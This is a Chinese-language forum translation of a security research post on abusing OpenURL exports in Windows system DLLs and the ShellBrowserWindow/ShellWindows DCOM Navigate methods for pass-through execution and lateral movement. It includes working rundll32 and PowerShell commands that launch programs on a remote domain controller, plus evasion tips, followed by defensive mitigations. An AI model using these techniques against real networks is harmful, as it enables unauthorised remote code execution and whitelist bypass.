首页
社区
课程
招聘
[翻译] 利用“导出函数和DCOM接口”执行穿透指令、实现横向渗透
2018-5-5 15:21 14679

[翻译] 利用“导出函数和DCOM接口”执行穿透指令、实现横向渗透

2018-5-5 15:21
14679

利用“导出函数和DCOM接口”执行穿透指令、实现横向渗透


背景介绍


上周三,我利用休息时间翻了翻\System32 目录,看能否找点儿什么。结果发现,有几个dll 文件导出了相同的函数OpenURL:


想着旗开得胜,能否简单调用一下呢?果然,url.dll 可以允许使用下面的命令执行HTML 应用(.hta):

rundll32.exe url.dll,OpenURL "local\path\to\harmless.hta" 
rundll32.exe url.dll,OpenURLA "local\path\to\harmless.hta"



在几个功能测试之后,我(贸然地)把这个发现发到Twitter 上。很快便收到回复,这些回复很有指导性,也让我无地自容。一方面,我本应该执行更多的测试进而深入理解发生了什么,而不是想着发到Twitter 上。另一方面,一些来自该领域的最优秀的人似乎几分钟就把这个问题给分好类了。非常感谢@subTee, @r0wdy_和@Hexacorn的快速分析。

简而言之,HTA文件是被MSHTA 调用的。这条Twitter (https://twitter.com/Hexacorn/status/974063407321223168)描述得很清晰:

“OpenURL/OpenURLA/FileProtocolHandler 调用了ShellExecute 函数,并传入了一个参数NULL(译者注:指的是lpOperation参数)。该函数会到注册表中查找默认的处理方式,由于参数为NULL,它会依次尝试使用“默认值、open、第一个可用的行为”。

” - @Hexacorn


使用OpenURL 执行穿透命令


如上所述,\SYSTEM32 目录下有三个dll 都导出了OpenURL 函数:

  • url.dll
  • ieframe.dll
  • shdocvw.dll (ieframe.OpenURL)

@Hexacorn写了一篇文章描述如何调用ieframe.dll, shdocvw.dll和url.dll。

通过.url 文件,可以在调用对应dll 时执行穿透命令:


URL样例文件(calc.url)内容:

[InternetShortcut]
URL=file:///c:\windows\system32\calc.exe

调用样例

rundll32.exe ieframe.dll, OpenURL <本地URL 文件路径>
rundll32.exe url.dll, OpenURL <本地URL 文件路径>
rundll32.exe shdocvw.dll, OpenURL <本地URL 文件路径>

执行结果:



IWebBrowser2 接口的导出函数


Shdocvw.dll 和ieframe.dll 具有一些同名函数,其中包括IWebBrowser2 接口,如下图所示:(译者注:使用DLL Export Viewer 打开对应dll 时,开启“Scan COM type libraries、Show methods、Show properties”即可查看到。)




这就很有意思了,因为我还在其他地方看到了IWebBrowser2 接口和其他接口的类似实现——主要是DCOM 应用(译者注:DCOM是指Distributed COM,DCOM无法通过防火墙)。


利用IWebBrowser2 接口实现DCOM横向渗透(Lateral Movement)


下面这些DCOM 应用(也许还有更多)似乎都提供了IWebBrowser2 接口(或类似接口):

  • InternetExplorer.Application
  • ShellBrowserWindow
  • ShellWindows

让我们深入分析一下……

注意:在深入之前,我强烈建议大家阅读@enigma0x3的博客(https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)了解必要的背景知识,有关DCOM横向渗透技术、启动权限和防范措施等。


InternetExplorer.Application


概述——在我的测试用例中,该应用无法实现横向渗透。然而,所使用的背景知识对于后续阅读是很有帮助的。在上述的这篇文章(www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/)中,@Hexacorn描述了ieframe.dll 中的一个先前的漏洞(CVE-2016-3353)。通过一个特殊标记,.url 文件可以在不弹出安全警告的情况下,直接由ShellExecuteEx执行。(注:分析该漏洞的链接也在那篇文章中)。幸运的是,该漏洞已被修复。正如IE的常规应用一样,我们当然预期在下载或打开一些文件(例如,.url、.hta、.exe 等文件)时产生安全警告(常说的,“安全性检查”)。

当使用 iexplore.exe 实例执行测试用例时,IE safeguards 会阻止“通过DCOM 接口”执行远程命令。


ShellBrowserWindow


@enigma0x3 的文章介绍了 ShellBrowserWindow 对外提供的 ShellExecute 方法,使用该方法执行远程命令,实现横向渗透。而我们则可以在绕过IE 浏览器安全限制的情况下,通过 IWebBrowser2 接口中的 Navigate 和 Navigate2 方法执行远程命令。

在后续样例中,我们将使用下面的这些 PowerShell 脚本的变体:

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate("<path\to\thing.extension>")
以及
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate2("<path\to\thing.extension>")

在继续分析之前,请注意以下内容:

  • “C08AFD90-F2A1-11D1-8455-00A0C91F3880” 是ShellBrowserWindow 的Class ID (CLSID)。
  • “9BA05972-F6A8-11CF-A442-00A0C90A8F39” 是ShellWindows  的Class ID (CLSID)。
  • 通过DCOM 连接远程机器需要权限认证。这通常意味着攻击者已经获得了具备合适权限(“启动”权限)的授权账户。此时,我们(攻击者)将通过域管理员账户从一台Windows 10 机器[网域成员]访问一台Windows 2012 Server机器[网域控制器]。
  • 在我的环境中连接Win10 和Win2016 机器时,该方法似乎没有效果。
  • 后面的样例采用PowerShell v5 的脚本。在PowerShell v2中执行样例,也成功了。
  • 避免在Navigate/2  方法中使用命令开关。(译者注:命令开关是指一些程序的参数开关,常见的开关以连字符“-”或斜线“/”开头)
  • 尝试调用“文件”以外的内容将弹出错误消息。如果受感染的用户账户已经登录到目标机器,该错误消息是可见的。因此,要将那些攻击内容包装起来。
  • 避免调用HTA(.hta)文件,因为调用这些文件将弹出安全性提示框。
  • 避免基于HTTP/S传递远程有效载荷(译者注:payload,有效载荷,是指HTTP 协议中的具体传输数据)。因为这将弹出一个IE窗口,而不是去获取数据。然而,可以使用UNC路径(译者注:UNC是指Universal Naming Convention,UNC路径的语法是\\\\servername\\sharename\\directory\\)。

接下来看看这种横向渗透的能力:

在网域成员机器上通过可执行程序(.exe)实现“横向渗透”


$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")



在网域控制器上:


通过URL文件(.url)“横向渗透”


URL 文件:

[InternetShortcut]
URL=file:///c:\windows\system32\calc.exe

在网域成员机器上执行:

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("\\acme01.acme.int\c$\calc.url")

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("\\acme01.acme.int\c$\calc.url")



在网域控制器上:



在Procmon 程序中,打开stack 面板,可以看到一些熟悉的模块和函数。(译者注:通过Procmon 查看calc.exe 进程创建的事件,选择与文件c:\windows\system32\calc.exe 有关的事件,可以查看到类似的窗口)




ShellWindows


与ShellBrowserWindow相似,ShellWindows也对外提供了ShellExecute方法。下面快速展示一下如何使用Navigate/2方法执行远程命令。

本例中,使用如下PowerShell 脚本:

$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")

以及
$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")


执行完这些命令后,得到如下输出:



哇!太有意思了!目前,该方法还需要更多测试,不推荐直接使用。尽管如此,这个方法还是十分优雅的。

本文简要说明了使用“IWebBrowser2” 的  Navigate/2 DCOM 接口进行横向渗透的方法。这些方法也许不像其他横向渗透方法那么灵活,但是仍然可以被RedTeam (译者注:在军事术语中,Red Team指的是高技能、有组织的团队,使用任何可能的方法发动攻击)或攻击者使用。和往常一样,防守者们需要留意这些攻击方法。


这有一些小建议:


防范措施


针对穿透指令执行:

  • 许多“穿透”指令技术都尝试绕过终端安全和/或应用白名单。采用强安全策略。考虑采用@Oddvarmoe提供的安全策略“AppLocker Hardening Rules”(https://github.com/api0cradle/UltimateAppLockerByPassList/tree/master/AppLocker-BlockPolicies)。
  • 通过HTA、VBS 或JS 执行的COM 脚本攻击很常见,也很危险。考虑修改这些应用的默认处理程序(如修改为记事本)。Adobe公司的这份指南也许有助于GPO部署(译者注:GPO,Group PolicyObject,组策略对象)。
  • 在企业网络环境中,使用事件日志分析突发事件是很关键的。将事件提交到SIEM(译者注:SIEM,security information and event management,是计算机安全领域的术语)进行统一监控。


针对横向渗透:

  • 通常,防御方应识别@enigma0x3提供的入侵威胁指标(IOC,译者注:Indicator of compromise,是计算机鉴识领域的术语)。同时,Philip Tsukerman 撰写了一篇文章(https://www.cybereason.com/blog/dcom-lateral-movement-techniques),其中有很好的建议。
  • 使用这些DCOM 方法需要对于远程计算机的特权访问。保护具有特权的域账户。避免在本地计算机账户上使用重复的密码。
  • 确保“深度防御控制、基于主机的安全产品、主机监控”可用,以便检测/阻止可疑活动。
  • 检测环境中对于PowerShell 脚本的可疑应用。尽可能的采用受限语言模式(Constrained Language)。(注:对于特权账户,这也许难以实现)。

总结

感谢大家花时间阅读本文。欢迎留言。



原文链接:

https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/

编译:看雪翻译小组yezhang





[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 576
活跃值: (2035)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kakasasa 2018-5-5 23:41
2
0
mark
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_A_246269 2018-5-6 16:31
3
0
mark
雪    币: 23
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Tupler 2021-2-17 22:48
4
0
mark
游客
登录 | 注册 方可回帖
返回